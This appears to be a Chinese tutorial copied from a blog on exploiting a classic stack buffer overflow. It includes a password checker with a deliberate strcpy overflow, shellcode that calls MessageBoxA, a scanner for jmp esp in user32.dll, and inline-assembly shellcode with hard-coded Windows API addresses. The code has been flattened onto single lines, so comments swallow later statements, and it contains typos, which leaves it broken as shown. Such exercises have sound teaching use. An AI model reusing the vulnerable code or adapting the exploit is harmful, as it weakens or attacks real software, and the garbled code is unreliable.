#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){int authenticated;char buffer[8];authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);return authenticated;}int main(){int valid_flag=0;char password[1024];while(1){printf("please input password:");scanf("%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrenct\n");}else{printf("Congratulation\n");break;}}return 0;}
#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){int authenticated;char buffer[8];printf("%p\n",&buffer);authenticated=strcmp(password,PASSWORD);strcpy(buffer,password);return authenticated;}int main(){int valid_flag=0;char password[1024];FILE *fp;if(!(fp=fopen("password.txt","rw+"))){exit(0);}fscanf(fp,"%s",password);valid_flag = verify_password(password);if(valid_flag){printf("incorrenct password!\n");}else{printf("Congratulation\n");}fclose(fp);return 0;}
| 机器码 | 汇编 | 注释 |
| 33DB | XOR EBX, EBX | 压如NULL结尾的“failwest”字符串 |
| 53 | PUSH EBX | 之所以用EBX清零后入栈作为字符串的 |
| 6877657374 | PUSH 6877657374 | 截断符，是为了避免“PUSH 0”中的NULL |
| 686661696C | PUSH 686661696C | 否则植入的机器码会被strcpy函数截断 |
| 8BC4 | MOV EAX, ESP | EAX里是字符串指针 |
| 53 | PUSH EBX | 4个参数按从右向左的顺序入栈 |
| 50 | PUSH EAX | 分别是(0,failwest,failwest,0) |
| 50 | PUSH EAX | |
| 53 | PUSH EBX | |
| B8EA07D577 | MOV EAX, 0x77D507EA | 调用MessageBoxA 不同的机器这里的函数入口 |
| FFD0 | CALL EAX | 地址不同 |
#include<Windows.h>#include<stdio.h>#define DLL_NAME "user32.dll"int main(){BYTE* ptr;int position,address;HINSTANCE handle;BOOL done_flag = FALSE;handle = LoadLibrary(DLL_NAME);if(!handle){printf(" load dll erro !");exit(0);}ptr = (BYTE*)handle;for(position = 0; !done_flag; position++){try{if(ptr[position] == 0xFF && ptr[position+1] == 0xE4){//0xFFE4 is the opcode of jmp espint address = (int)ptr + postion;printf("OPCODE found at 0x%x\n",address);}}catch(...){int address = (int)ptr + position;printf("END OF 0x%x\n", address);done_flag = true;}}return 0;}
#include<Windows.h>int main(){HINSTANCE LibHandle;char dllbuf[11] = "user32.dll";LibHandle = LoadLibrary(dllbuf);_asm{sub sp, 0x440xor ebx, ebxpush ebx //cut stringpush 0x74736577push 0x6C696166mov eax, esppush ebxpush eaxpush eaxpush ebxmov eax, 0x77D507EAcall eax //call MessageBoxApush ebxmov eax, 0x7C81CAFAcall eax //call exit(0)}}
33DB xor ebx,ebx53 push ebx68 77657374 push 0x7473657768 6661696C push 0x6C6961668BC4 mov eax,esp53 push ebx50 push eax50 push eax53 push ebxB8 EA07D577 mov eax,user32.MessageBoxAFFD0 call eax53 push ebxB8 FACA817C mov eax,kernel32.ExitProcessFFD0 call eax
原文：http://www.cnblogs.com/trojan-z/p/6663533.html